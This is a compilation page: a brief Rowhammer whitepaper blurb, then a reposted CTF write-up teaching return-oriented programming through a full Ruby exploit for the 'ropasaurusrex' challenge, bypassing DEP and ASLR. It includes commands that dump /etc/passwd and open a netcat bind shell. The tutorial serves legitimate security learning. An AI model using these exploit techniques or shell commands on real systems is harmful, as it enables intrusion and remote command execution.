How Rowhammer Could Be Used to Exploit Weaknesses in Computer Hardware March 2016 Mark Lanteigne, CTO and Founder, Third I/O Inc. FOREWORD Gordon Moore, the father of Moore’s Law, predicted that capacitor density in silicon would reach saturation within the next decade. One could argue that his prediction, based on current technologies, is optimistic. The miniaturization or “die shrink” of modern silicon has been slowing for the last several years. And one of the primary reasons for this slowdown is the simple fact that high density capacitor counts in silicon are more susceptible to crosstalk and transistor leakage. These are the types of problems that lead to the highest severity of computer failures, such as locked up or rebooting systems and lost or corrupted data. As silicon capacitor density increases, there is a strong argument for more rigorous testing and validation of new technologies, but unfortunately computer and memory manufacturers seem headed in the opposite direction. One of the best examples of substandard testing, validation, or screening is a widespread computer memory (DRAM) problem that is commonly referred to as Rowhammer. Rowhammer has been present on DDR3 silicon since 2010. The computer industry has been extremely tight lipped on this problem, but many have inferred or directly stated that the problem has been fixed or mitigated in DDR3. And furthermore that is has been fully resolved in DDR4. Based on the analysis by Third I/O, we believe that this problem is significantly worse than what is being reported. And it is still visible on some DDR4 memory modules. Download: http://www.thirdio.com/rowhammer.pdf

ropasaurusrex: a primer on return-oriented programming One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all! Anyway, even though I spent a lot of time working on the wrong solution (specifically, I didn't think to bypass ASLR for quite awhile), the process we took of completing the level first without, then with ASLR, is actually a good way to show it, so I'll take the same route on this post. Before I say anything else, I have to thank HikingPete for being my wingman on this one. Thanks to him, we solved this puzzle much more quickly and, for a short time, were in 3rd place worldwide! Coincidentally, I've been meaning to write a post on ROP for some time now. I even wrote a vulnerable demo program that I was going to base this on! But, since PlaidCTF gave us this challenge, I thought I'd talk about it instead! This isn't just a writeup, this is designed to be a fairly in-depth primer on return-oriented programming! If you're more interested in the process of solving a CTF level, have a look at my writeup of cnot. What the heck is ROP? ROP—return-oriented programming—is a modern name for a classic exploit called "return into libc". The idea is that you found an overflow or other type of vulnerability in a program that lets you take control, but you have no reliable way get your code into executable memory (DEP, or data execution prevention, means that you can't run code from anywhere you want anymore). With ROP, you can pick and choose pieces of code that are already in sections executable memory and followed by a 'return'. Sometimes those pieces are simple, and sometimes they're complicated. In this exercise, we only need the simple stuff, thankfully! But, we're getting ahead of ourselves. Let's first learn a little more about the stack! I'm not going to spend a ton of time explaining the stack, so if this is unclear, please check out my assembly tutorial. The stack I'm sure you've heard of the stack before. Stack overflows? Smashing the stack? But what's it actually mean? If you already know, feel free to treat this as a quick primer, or to just skip right to the next section. Up to you! The simple idea is, let's say function A() calls function B() with two parameters, 1 and 2. Then B() calls C() with two parameters, 3 and 4. When you're in C(), the stack looks like this: +----------------------+ | ... | (higher addresses) +----------------------+ +----------------------+ <-- start of 'A's stack frame | [return address] | <-- address of whatever called 'A' +----------------------+ | [frame pointer] | +----------------------+ | [local variables] | +----------------------+ +----------------------+ <-- start of 'B's stack frame | 2 (parameter)| +----------------------+ | 1 (parameter)| +----------------------+ | [return address] | <-- the address that 'B' returns to +----------------------+ | [frame pointer] | +----------------------+ | [local variables] | +----------------------+ +----------------------+ <-- start of 'C's stack frame | 4 (parameter)| +----------------------+ | 3 (parameter)| +----------------------+ | [return address] | <-- the address that 'C' returns to +----------------------+ +----------------------+ | ... | (lower addresses) +----------------------+ This is quite a mouthful (eyeful?) if you don't live and breathe all the time at this depth, so let me explain a bit. Every time you call a function, a new "stack frame" is built. A "frame" is simply some memory that the function allocates for itself on the stack. In fact, it doesn't even allocate it, it just adds stuff to the end and updates the esp register so any functions it calls know where its own stack frame needs to start (esp, the stack pointer, is basically a variable). This stack frame holds the context for the current function, and lets you easily a) build frames for new functions being called, and return to previous frames (i.e., return from functions). esp (the stack pointer) moves up and down, but always points to the top of the stack (the lowest address). Have you ever wondered where a function's local variables go when you call another function (or, better yet, you call the same function again recursively)? Of course not! But if you did, now you'd know: they wind up in an old stack frame that we return to later! Now, let's look at what's stored on the stack, in the order it gets pushed (note that, confusingly, you can draw a stack either way; in this document, the stack grows from top to bottom, so the older/callers are on top and the newer/callees are on the bottom): Parameters: The parameters that were passed into the function by the caller—these are extremely important with ROP. Return address: Every function needs to know where to go when it's done. When you call a function, the address of the instruction right after the call is pushed onto the stack prior to entering the new function. When you return, the address is popped off the stack and is jumped to. This is extremely important with ROP. Saved frame pointer: Let's totally ignore this. Seriously. It's just something that compilers typically do, except when they don't, and we won't speak of it again. Local variables: A function can allocate as much memory as it needs (within reason) to store local variables. They go here. They don't matter at all for ROP and can be safely ignored. So, to summarize: when a function is called, parameters are pushed onto the stack, followed by the return address. When the function returns, it grabs the return address off the stack and jumps to it. The parameters pushed onto the stack are removed by the calling function, except when they're not. We're going to assume the caller cleans up, that is, the function doesn't clean up after itself, since that's is how it works in this challenge (and most of the time on Linux). Heaven, hell, and stack frames The main thing you have to understand to know ROP is this: a function's entire universe is its stack frame. The stack is its god, the parameters are its commandments, local variables are its sins, the saved frame pointer is its bible, and the return address is its heaven (okay, probably hell). It's all right there in the Book of Intel, chapter 3, verses 19 - 26 (note: it isn't actually, don't bother looking). Let's say you call the sleep() function, and get to the first line; its stack frame is going to look like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | +----------------------+ | [return address] | <-- esp points here +----------------------+ ... <-- not allocated, don't care territory (lower addresses) When sleep() starts, this stack frame is all it sees. It can save a frame pointer (crap, I mentioned it twice since I promised not to; I swear I won't mention it again) and make room for local variables by subtracting the number of bytes it wants from esp (ie, making esp point to a lower address). It can call other functions, which create new frames under esp. It can do many different things; what matters is that, when it sleep() starts, the stack frame makes up its entire world. When sleep() returns, it winds up looking like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | <-- esp points here +----------------------+ | [old return address] | <-- not allocated, don't care territory starts here now +----------------------+ ... (lower addresses) And, of course, the caller, after sleep() returns, will remove "seconds" from the stack by adding 4 to esp (later on, we'll talk about how we have to use pop/pop/ret constructs to do the same thing). In a properly working system, this is how life works. That's a safe assumption. The "seconds" value would only be on the stack if it was pushed, and the return address is going to point to the place it was called from. Duh. How else would it get there? Controlling the stack ...well, since you asked, let me tell you. We've all heard of a "stack overflow", which involves overwriting a variable on the stack. What's that mean? Well, let's say we have a frame that looks like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | +----------------------+ | [return address] | <-- esp points here +----------------------+ | char buf[16] | | | | | | | +----------------------+ ... (lower addresses) The variable buf is 16 bytes long. What happens if a program tries to write to the 17th byte of buf (i.e., buf[16])? Well, it writes to the last byte—little endian—of the return address. The 18th byte writes to the second-last byte of the return address, and so on. Therefore, we can change the return address to point to anywhere we want. Anywhere we want. So when the function returns, where's it go? Well, it thinks it's going to where it's supposed to go—in a perfect world, it would be—but nope! In this case, it's going to wherever the attacker wants it to. If the attacker says to jump to 0, it jumps to 0 and crashes. If the attacker says to go to 0x41414141 ("AAAA"), it jumps there and probably crashes. If the attacker says to jump to the stack... well, that's where it gets more complicated... DEP Traditionally, an attacker would change the return address to point to the stack, since the attacker already has the ability to put code on the stack (after all, code is just a bunch of bytes!). But, being that it was such a common and easy way to exploit systems, those assholes at OS companies (just kidding, I love you guys ) put a stop to it by introducing data execution prevention, or DEP. On any DEP-enabled system, you can no longer run code on the stack—or, more generally, anywhere an attacker can write—instead, it crashes. So how the hell do I run code without being allowed to run code!? Well, we're going to get to that. But first, let's look at the vulnerability that the challenge uses! The vulnerability Here's the vulnerable function, fresh from IDA: 1 .text:080483F4vulnerable_function proc near 2 .text:080483F4 3 .text:080483F4buf = byte ptr -88h 4 .text:080483F4 5 .text:080483F4 push ebp 6 .text:080483F5 mov ebp, esp 7 .text:080483F7 sub esp, 98h 8 .text:080483FD mov dword ptr [esp+8], 100h ; nbytes 9 .text:08048405 lea eax, [ebp+buf] 10 .text:0804840B mov [esp+4], eax ; buf 11 .text:0804840F mov dword ptr [esp], 0 ; fd 12 .text:08048416 call _read 13 .text:0804841B leave 14 .text:0804841C retn 15 .text:0804841Cvulnerable_function endp Now, if you don't know assembly, this might look daunting. But, in fact, it's simple. Here's the equivalent C: 1 ssize_t __cdecl vulnerable_function() 2 { 3 char buf[136]; 4 return read(0, buf, 256); 5 } So, it reads 256 bytes into a 136-byte buffer. Goodbye Mr. Stack! You can easily validate that by running it, piping in a bunch of 'A's, and seeing what happens: 1 ron@debian-x86 ~ $ ulimit -c unlimited 2 ron@debian-x86 ~ $ perl -e "print 'A'x300" | ./ropasaurusrex 3 Segmentation fault (core dumped) 4 ron@debian-x86 ~ $ gdb ./ropasaurusrex core 5 [...] 6 Program terminated with signal 11, Segmentation fault. 7 #0 0x41414141 in ?? () 8 (gdb) Simply speaking, it means that we overwrote the return address with the letter A 4 times (0x41414141 = "AAAA"). Now, there are good ways and bad ways to figure out exactly what you control. I used a bad way. I put "BBBB" at the end of my buffer and simply removed 'A's until it crashed at0x42424242 ("BBBB"): 1 ron@debian-x86 ~ $ perl -e "print 'A'x140;print 'BBBB'" | ./ropasaurusrex 2 Segmentation fault (core dumped) 3 ron@debian-x86 ~ $ gdb ./ropasaurusrex core 4 #0 0x42424242 in ?? () If you want to do this "better" (by which I mean, slower), check out Metasploit's pattern_create.rb and pattern_offset.rb. They're great when guessing is a slow process, but for the purpose of this challenge it was so quick to guess and check that I didn't bother. Starting to write an exploit The first thing you should do is start running ropasaurusrex as a network service. The folks who wrote the CTF used xinetd to do this, but we're going to use netcat, which is just as good (for our purposes): 1 $ while true; do nc -vv -l -p 4444 -e ./ropasaurusrex; done 2 listening on [any] 4444 ... From now on, we can use localhost:4444 as the target for our exploit and test if it'll work against the actual server. You may also want to disable ASLR if you're following along: 1 $ sudo sysctl -w kernel.randomize_va_space=0 Note that this will make your system easier to exploit, so I don't recommend doing this outside of a lab environment! Here's some ruby code for the initial exploit: 1 require 'socket' 2 3 $ cat ./sploit.rb 4 s = TCPSocket.new("localhost", 4444) 5 6 # Generate the payload 7 payload = "A"*140 + 8 [ 9 0x42424242, 10 ].pack("I*") # Convert a series of 'ints' to a string 11 12 s.write(payload) 13 s.close() Run that with ruby ./sploit.rb and you should see the service crash: 1 connect to [127.0.0.1] from debian-x86.skullseclabs.org [127.0.0.1] 53451 2 Segmentation fault (core dumped) And you can verify, using gdb, that it crashed at the right location: 1 gdb --quiet ./ropasaurusrex core 2 [...] 3 Program terminated with signal 11, Segmentation fault. 4 #0 0x42424242 in ?? () We now have the beginning of an exploit! How to waste time with ASLR I called this section 'wasting time', because I didn't realize—at the time—that ASLR was enabled. However, assuming no ASLR actually makes this a much more instructive puzzle. So for now, let's not worry about ASLR—in fact, let's not even define ASLR. That'll come up in the next section. Okay, so what do we want to do? We have a vulnerable process, and we have the libc shared library. What's the next step? Well, our ultimate goal is to run system commands. Because stdin and stdout are both hooked up to the socket, if we could run, for example, system("cat /etc/passwd"), we'd be set! Once we do that, we can run any command. But doing that involves two things: Getting the string cat /etc/passwd into memory somewhere Running the system() function Getting the string into memory Getting the string into memory actually involves two sub-steps: Find some memory that we can write to Find a function that can write to it Tall order? Not really! First things first, let's find some memory that we can read and write! The most obvious place is the .data section: 1 ron@debian-x86 ~ $ objdump -x ropasaurusrex | grep -A1 '\.data' 2 23 .data 00000008 08049620 08049620 00000620 2**2 3 CONTENTS, ALLOC, LOAD, DATA 4 Uh oh, .data is only 8 bytes long. That's not enough! In theory, any address that's long enough, writable, and not used will be enough for what we need. Looking at the output forobjdump -x, I see a section called .dynamic that seems to fit the bill: 1 2 20 .dynamic 000000d0 08049530 08049530 00000530 2**2 3 CONTENTS, ALLOC, LOAD, DATA The .dynamic section holds information for dynamic linking. We don't need that for what we're going to do, so let's choose address 0x08049530 to overwrite. The next step is to find a function that can write our command string to address 0x08049530. The most convenient functions to use are the ones that are in the executable itself, rather than a library, since the functions in the executable won't change from system to system. Let's look at what we have: 1 ron@debian-x86 ~ $ objdump -R ropasaurusrex 2 3 ropasaurusrex: file format elf32-i386 4 5 DYNAMIC RELOCATION RECORDS 6 OFFSET TYPE VALUE 7 08049600 R_386_GLOB_DAT __gmon_start__ 8 08049610 R_386_JUMP_SLOT __gmon_start__ 9 08049614 R_386_JUMP_SLOT write 10 08049618 R_386_JUMP_SLOT __libc_start_main 11 0804961c R_386_JUMP_SLOT read So, we have read() and write() immediately available. That's helpful! The read() function will read data from the socket and write it to memory. The prototype looks like this: 1 ssize_t read(int fd, void *buf, size_t count); This means that, when you enter the read() function, you want the stack to look like this: +----------------------+ | ... | - doesn't matter, other funcs will go here +----------------------+ +----------------------+ <-- start of read()'s stack frame | size_t count | - count, strlen("cat /etc/passwd") +----------------------+ | void *buf | - writable memory, 0x08049530 +----------------------+ | int fd | - should be 'stdin' (0) +----------------------+ | [return address] | - where 'read' will return +----------------------+ +----------------------+ | ... | - doesn't matter, read() will use for locals +----------------------+ We update our exploit to look like this (explanations are in the comments): 1 $ cat sploit.rb 2 require 'socket' 3 4 s = TCPSocket.new("localhost", 4444) 5 6 # The command we'll run 7 cmd = ARGV[0] + "\0" 8 9 # From objdump -x 10 buf = 0x08049530 11 12 # From objdump -D ./ropasaurusrex | grep read 13 read_addr = 0x0804832C 14 # From objdump -D ./ropasaurusrex | grep write 15 write_addr = 0x0804830C 16 17 # Generate the payload 18 payload = "A"*140 + 19 [ 20 cmd.length, # number of bytes 21 buf, # writable memory 22 0, # stdin 23 0x43434343, # read's return address 24 25 read_addr # Overwrite the original return 26 ].reverse.pack("I*") # Convert a series of 'ints' to a string 27 28 # Write the 'exploit' payload 29 s.write(payload) 30 31 # When our payload calls read() the first time, this is read 32 s.write(cmd) 33 34 # Clean up 35 s.close() We run that against the target: 1 ron@debian-x86 ~ $ ruby sploit.rb "cat /etc/passwd" And verify that it crashes: 1 listening on [any] 4444 ... 2 connect to [127.0.0.1] from debian-x86.skullseclabs.org [127.0.0.1] 53456 3 Segmentation fault (core dumped) Then verify that it crashed at the return address of read() (0x43434343) and wrote the command to the memory at 0x08049530: 1 $ gdb --quiet ./ropasaurusrex core 2 [...] 3 Program terminated with signal 11, Segmentation fault. 4 #0 0x43434343 in ?? () 5 (gdb) x/s 0x08049530 6 0x8049530: "cat /etc/passwd" Perfect! Running it Now that we've written cat /etc/passwd into memory, we need to call system() and point it at that address. It turns out, if we assume ASLR is off, this is easy. We know that the executable is linked with libc: 1 $ ldd ./ropasaurusrex 2 linux-gate.so.1 => (0xb7703000) 3 libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb75aa000) 4 /lib/ld-linux.so.2 (0xb7704000) And libc.so.6 contains the system() function: 1 $ objdump -T /lib/i686/cmov/libc.so.6 | grep system 2 000f5470 g DF .text 00000042 GLIBC_2.0 svcerr_systemerr 3 00039450 g DF .text 0000007d GLIBC_PRIVATE __libc_system 4 00039450 w DF .text 0000007d GLIBC_2.0 system We can figure out the address where system() ends up loaded in ropasaurusrex in our debugger: 1 $ gdb --quiet ./ropasaurusrex core 2 [...] 3 Program terminated with signal 11, Segmentation fault. 4 #0 0x43434343 in ?? () 5 (gdb) x/x system 6 0xb7ec2450 <system>: 0x890cec83 Because system() only takes one argument, building the stackframe is pretty easy: +----------------------+ | ... | - doesn't matter, other funcs will go here +----------------------+ +----------------------+ <-- Start of system()'s stack frame | void *arg | - our buffer, 0x08049530 +----------------------+ | [return address] | - where 'system' will return +----------------------+ | ... | - doesn't matter, system() will use for locals +----------------------+ Now if we stack this on top of our read() frame, things are looking pretty good: +----------------------+ | ... | +----------------------+ +----------------------+ <-- Start of system()'s stack frame | void *arg | +----------------------+ | [return address] | +----------------------+ +----------------------+ <-- Start of read()'s frame | size_t count | +----------------------+ | void *buf | +----------------------+ | int fd | +----------------------+ | [address of system] | <-- Stack pointer +----------------------+ +----------------------+ | ... | +----------------------+ At the moment that read() returns, the stack pointer is in the location shown above. When it returns, it pops read()'s return address off the stack and jumps to it. When it does, this is what the stack looks like when read() returns: +----------------------+ | ... | +----------------------+ +----------------------+ <-- Start of system()'s frame | void *arg | +----------------------+ | [return address] | +----------------------+ +----------------------+ <-- Start of read()'s frame | size_t count | +----------------------+ | void *buf | +----------------------+ | int fd | <-- Stack pointer +----------------------+ | [address of system] | +----------------------+ +----------------------+ | ... | +----------------------+ Uh oh, that's no good! The stack pointer is pointing to the middle of read()'s frame when we enter system(), not to the bottom of system()'s frame like we want it to! What do we do? Well, when perform a ROP exploit, there's a very important construct we need called pop/pop/ret. In this case, it's actually pop/pop/pop/ret, which we'll call "pppr" for short. Just remember, it's enough "pops" to clear the stack, followed by a return. pop/pop/pop/ret is a construct that we use to remove the stuff we don't want off the stack. Since read() has three arguments, we need to pop all three of them off the stack, then return. To demonstrate, here's what the stack looks like immediately after read() returns to a pop/pop/pop/ret: +----------------------+ | ... | +----------------------+ +----------------------+ <-- Start of system()'s frame | void *arg | +----------------------+ | [return address] | +----------------------+ +----------------------+ <-- Special frame for pop/pop/pop/ret | [address of system] | +----------------------+ +----------------------+ <-- Start of read()'s frame | size_t count | +----------------------+ | void *buf | +----------------------+ | int fd | <-- Stack pointer +----------------------+ | [address of "pppr"] | +----------------------+ +----------------------+ | ... | +----------------------+ After "pop/pop/pop/ret" runs, but before it returns, we get this: +----------------------+ | ... | +----------------------+ +----------------------+ <-- Start of system()'s frame | void *arg | +----------------------+ | [return address] | +----------------------+ +----------------------+ <-- pop/pop/pop/ret's frame | [address of system] | <-- stack pointer +----------------------+ +----------------------+ | size_t count | <-- read()'s frame +----------------------+ | void *buf | +----------------------+ | int fd | +----------------------+ | [address of "pppr"] | +----------------------+ +----------------------+ | ... | +----------------------+ Then when it returns, we're exactly where we want to be: +----------------------+ | ... | +----------------------+ +----------------------+ <-- Start of system()'s frame | void *arg | +----------------------+ | [return address] | <-- stack pointer +----------------------+ +----------------------+ <-- pop/pop/pop/ret's frame | [address of system] | +----------------------+ +----------------------+ <-- Start of read()'s frame | size_t count | +----------------------+ | void *buf | +----------------------+ | int fd | +----------------------+ | [address of "pppr"] | +----------------------+ +----------------------+ | ... | +----------------------+ Finding a pop/pop/pop/ret is pretty easy using objdump: 1 $ objdump -d ./ropasaurusrex | egrep 'pop|ret' 2 [...] 3 80484b5: 5b pop ebx 4 80484b6: 5e pop esi 5 80484b7: 5f pop edi 6 80484b8: 5d pop ebp 7 80484b9: c3 ret This lets us remove between 1 and 4 arguments off the stack before executing the next function. Perfect! And remember, if you're doing this yourself, ensure that the pops are at consecutive addresses. Using egrep to find them can be a little dangerous like that. So now, if we want a triple pop and a ret (to remove the three arguments that read() used), we want the address 0x80484b6, so we set up our stack like this: +----------------------+ | ... | +----------------------+ +----------------------+ <-- Start of system()'s frame | void *arg | - 0x08049530 (buf) +----------------------+ | [return address] | - 0x44444444 +----------------------+ +----------------------+ | [address of system] | - 0xb7ec2450 +----------------------+ +----------------------+ <-- Start of read()'s frame | size_t count | - strlen(cmd) +----------------------+ | void *buf | - 0x08049530 (buf) +----------------------+ | int fd | - 0 (stdin) +----------------------+ | [address of "pppr"] | - 0x080484b6 +----------------------+ +----------------------+ | ... | +----------------------+ We also update our exploit with a s.read() at the end, to read whatever data the remote server sends us. The current exploit now looks like: 1 require 'socket' 2 3 s = TCPSocket.new("localhost", 4444) 4 5 # The command we'll run 6 cmd = ARGV[0] + "\0" 7 8 # From objdump -x 9 buf = 0x08049530 10 11 # From objdump -D ./ropasaurusrex | grep read 12 read_addr = 0x0804832C 13 # From objdump -D ./ropasaurusrex | grep write 14 write_addr = 0x0804830C 15 # From gdb, "x/x system" 16 system_addr = 0xb7ec2450 17 # From objdump, "pop/pop/pop/ret" 18 pppr_addr = 0x080484b6 19 20 # Generate the payload 21 payload = "A"*140 + 22 [ 23 # system()'s stack frame 24 buf, # writable memory (cmd buf) 25 0x44444444, # system()'s return address 26 27 # pop/pop/pop/ret's stack frame 28 system_addr, # pop/pop/pop/ret's return address 29 30 # read()'s stack frame 31 cmd.length, # number of bytes 32 buf, # writable memory (cmd buf) 33 0, # stdin 34 pppr_addr, # read()'s return address 35 36 read_addr # Overwrite the original return 37 ].reverse.pack("I*") # Convert a series of 'ints' to a string 38 39 # Write the 'exploit' payload 40 s.write(payload) 41 42 # When our payload calls read() the first time, this is read 43 s.write(cmd) 44 45 # Read the response from the command and print it to the screen 46 puts(s.read) 47 48 # Clean up 49 s.close() And when we run it, we get the expected result: 1 $ ruby sploit.rb "cat /etc/passwd" 2 root:x:0:0:root:/root:/bin/bash 3 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 4 bin:x:2:2:bin:/bin:/bin/sh 5 ... And if you look at the core dump, you'll see it's crashing at 0x44444444 as expected. Done, right? WRONG! This exploit worked perfectly against my test machine, but when ASLR is enabled, it failed: 1 $ sudo sysctl -w kernel.randomize_va_space=1 2 kernel.randomize_va_space = 1 3 ron@debian-x86 ~ $ ruby sploit.rb "cat /etc/passwd" This is where it starts to get a little more complicated. Let's go! What is ASLR? ASLR—or address space layout randomization—is a defense implemented on all modern systems (except for FreeBSD) that randomizes the address that libraries are loaded at. As an example, let's run ropasaurusrex twice and get the address of system(): 1 ron@debian-x86 ~ $ perl -e 'printf "A"x1000' | ./ropasaurusrex 2 Segmentation fault (core dumped) 3 ron@debian-x86 ~ $ gdb ./ropasaurusrex core 4 Program terminated with signal 11, Segmentation fault. 5 #0 0x41414141 in ?? () 6 (gdb) x/x system 7 0xb766e450 <system>: 0x890cec83 8 9 ron@debian-x86 ~ $ perl -e 'printf "A"x1000' | ./ropasaurusrex 10 Segmentation fault (core dumped) 11 ron@debian-x86 ~ $ gdb ./ropasaurusrex core 12 Program terminated with signal 11, Segmentation fault. 13 #0 0x41414141 in ?? () 14 (gdb) x/x system 15 0xb76a7450 <system>: 0x890cec83 Notice that the address of system() changes from 0xb766e450 to 0xb76a7450. That's a problem! Defeating ASLR So, what do we know? Well, the binary itself isn't ASLRed, which means that we can rely on every address in it to stay put, which is useful. Most importantly, the relocation table will remain at the same address: 1 $ objdump -R ./ropasaurusrex 2 3 ./ropasaurusrex: file format elf32-i386 4 5 DYNAMIC RELOCATION RECORDS 6 OFFSET TYPE VALUE 7 08049600 R_386_GLOB_DAT __gmon_start__ 8 08049610 R_386_JUMP_SLOT __gmon_start__ 9 08049614 R_386_JUMP_SLOT write 10 08049618 R_386_JUMP_SLOT __libc_start_main 11 0804961c R_386_JUMP_SLOT read So we know the address—in the binary—of read() and write(). What's that mean? Let's take a look at their values while the binary is running: 1 $ gdb ./ropasaurusrex 2 (gdb) run 3 ^C 4 Program received signal SIGINT, Interrupt. 5 0xb7fe2424 in __kernel_vsyscall () 6 (gdb) x/x 0x0804961c 7 0x804961c: 0xb7f48110 8 (gdb) print read 9 $1 = {<text variable, no debug info>} 0xb7f48110 <read> Well look at that.. a pointer to read() at a memory address that we know! What can we do with that, I wonder...? I'll give you a hint: we can use the write() function—which we also know—to grab data from arbitrary memory and write it to the socket. Finally, running some code! Okay, let's break, this down into steps. We need to: Copy a command into memory using the read() function. Get the address of the write() function using the write() function. Calculate the offset between write() and system(), which lets us get the address of system(). Call system(). To call system(), we're gonna have to write the address of system() somewhere in memory, then call it. The easiest way to do that is to overwrite the call to read() in the .plttable, then call read(). By now, you're probably confused. Don't worry, I was too. I was shocked I got this working. Let's just go for broke now and get this working! Here's the stack frame we want: +----------------------+ | ... | +----------------------+ +----------------------+ <-- system()'s frame [7] | void *arg | +----------------------+ | [return address] | +----------------------+ +----------------------+ <-- pop/pop/pop/ret's frame [6] | [address of read] | - this will actually jump to system() +----------------------+ +----------------------+ <-- second read()'s frame [5] | size_t count | - 4 bytes (the size of a 32-bit address) +----------------------+ | void *buf | - pointer to read() so we can overwrite it +----------------------+ | int fd | - 0 (stdin) +----------------------+ | [address of "pppr"] | +----------------------+ +----------------------+ <-- pop/pop/pop/ret's frame [4] | [address of read] | +----------------------+ +----------------------+ <-- write()'s frame [3] | size_t count | - 4 bytes (the size of a 32-bit address) +----------------------+ | void *buf | - The address containing a pointer to read() +----------------------+ | int fd | - 1 (stdout) +----------------------+ | [address of "pppr"] | +----------------------+ +----------------------+ <-- pop/pop/pop/ret's frame [2] | [address of write] | +----------------------+ +----------------------+ <-- read()'s frame [1] | size_t count | - strlen(cmd) +----------------------+ | void *buf | - writeable memory +----------------------+ | int fd | - 0 (stdin) +----------------------+ | [address of "pppr"] | +----------------------+ +----------------------+ | ... | +----------------------+ Holy smokes, what's going on!? Let's start at the bottom and work our way up! I tagged each frame with a number for easy reference. Frame [1] we've seen before. It writes cmd into our writable memory. Frame [2] is a standard pop/pop/pop/ret to clean up the read(). Frame [3] uses write() to write the address of the read() function to the socket. Frame [4] uses a standard pop/pop/pop/ret to clean up after write(). Frame [5] reads another address over the socket and writes it to memory. This address is going to be the address of the system() call. The reason writing it to memory works is because of how read() is called. Take a look at the read() call we've been using in gdb (0x0804832C) and you'll see this: 1 (gdb) x/i 0x0804832C 2 0x804832c <read@plt>: jmp DWORD PTR ds:0x804961c read() is actually implemented as an indirect jump! So if we can change what ds:0x804961c's value is, and still jump to it, then we can jump anywhere we want! So in frame [3] we read the address from memory (to get the actual address of read()) and in frame [5] we write a new address there. Frame [6] is a standard pop/pop/pop/ret construct, with a small difference: the return address of the pop/pop/pop/ret is 0x804832c, which is actually read()'s .plt entry. Since we overwrote read()'s .plt entry with system(), this call actually goes to system()! Final code Whew! That's quite complicated. Here's code that implements the full exploit for ropasaurusrex, bypassing both DEP and ASLR: 1 require 'socket' 2 3 s = TCPSocket.new("localhost", 4444) 4 5 # The command we'll run 6 cmd = ARGV[0] + "\0" 7 8 # From objdump -x 9 buf = 0x08049530 10 11 # From objdump -D ./ropasaurusrex | grep read 12 read_addr = 0x0804832C 13 # From objdump -D ./ropasaurusrex | grep write 14 write_addr = 0x0804830C 15 # From gdb, "x/x system" 16 system_addr = 0xb7ec2450 17 # Fram objdump, "pop/pop/pop/ret" 18 pppr_addr = 0x080484b6 19 20 # The location where read()'s .plt entry is 21 read_addr_ptr = 0x0804961c 22 23 # The difference between read() and system() 24 # Calculated as read (0xb7f48110) - system (0xb7ec2450) 25 # Note: This is the one number that needs to be calculated using the 26 # target version of libc rather than my own! 27 read_system_diff = 0x85cc0 28 29 # Generate the payload 30 payload = "A"*140 + 31 [ 32 # system()'s stack frame 33 buf, # writable memory (cmd buf) 34 0x44444444, # system()'s return address 35 36 # pop/pop/pop/ret's stack frame 37 # Note that this calls read_addr, which is overwritten by a pointer 38 # to system() in the previous stack frame 39 read_addr, # (this will become system()) 40 41 # second read()'s stack frame 42 # This reads the address of system() from the socket and overwrites 43 # read()'s .plt entry with it, so calls to read() end up going to 44 # system() 45 4, # length of an address 46 read_addr_ptr, # address of read()'s .plt entry 47 0, # stdin 48 pppr_addr, # read()'s return address 49 50 # pop/pop/pop/ret's stack frame 51 read_addr, 52 53 # write()'s stack frame 54 # This frame gets the address of the read() function from the .plt 55 # entry and writes to to stdout 56 4, # length of an address 57 read_addr_ptr, # address of read()'s .plt entry 58 1, # stdout 59 pppr_addr, # retrurn address 60 61 # pop/pop/pop/ret's stack frame 62 write_addr, 63 64 # read()'s stack frame 65 # This reads the command we want to run from the socket and puts it 66 # in our writable "buf" 67 cmd.length, # number of bytes 68 buf, # writable memory (cmd buf) 69 0, # stdin 70 pppr_addr, # read()'s return address 71 72 read_addr # Overwrite the original return 73 ].reverse.pack("I*") # Convert a series of 'ints' to a string 74 75 # Write the 'exploit' payload 76 s.write(payload) 77 78 # When our payload calls read() the first time, this is read 79 s.write(cmd) 80 81 # Get the result of the first read() call, which is the actual address of read 82 this_read_addr = s.read(4).unpack("I").first 83 84 # Calculate the address of system() 85 this_system_addr = this_read_addr - read_system_diff 86 87 # Write the address back, where it'll be read() into the correct place by 88 # the second read() call 89 s.write([this_system_addr].pack("I")) 90 91 # Finally, read the result of the actual command 92 puts(s.read()) 93 94 # Clean up 95 s.close() And here it is in action: 1 $ ruby sploit.rb "cat /etc/passwd" 2 root:x:0:0:root:/root:/bin/bash 3 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 4 bin:x:2:2:bin:/bin:/bin/sh 5 sys:x:3:3:sys:/dev:/bin/sh 6 [...] You can, of course, change cat /etc/passwd to anything you want (including a netcat listener!) 1 ron@debian-x86 ~ $ ruby sploit.rb "pwd" 2 /home/ron 3 ron@debian-x86 ~ $ ruby sploit.rb "whoami" 4 ron 5 ron@debian-x86 ~ $ ruby sploit.rb "nc -vv -l -p 5555 -e /bin/sh" & 6 [1] 3015 7 ron@debian-x86 ~ $ nc -vv localhost 5555 8 debian-x86.skullseclabs.org [127.0.0.1] 5555 (?) open 9 pwd 10 /home/ron 11 whoami 12 ron Conclusion And that's it! We just wrote a reliable, DEP/ASLR-bypassing exploit for ropasaurusrex. Feel free to comment or contact me if you have any questions! May 2, 2013Hacking, PlaidCTF 2013, Reverse EngineeringRon Bowes Sursa: https://blog.skullsecurity.org/2013/ropasaurusrex-a-primer-on-return-oriented-programming#

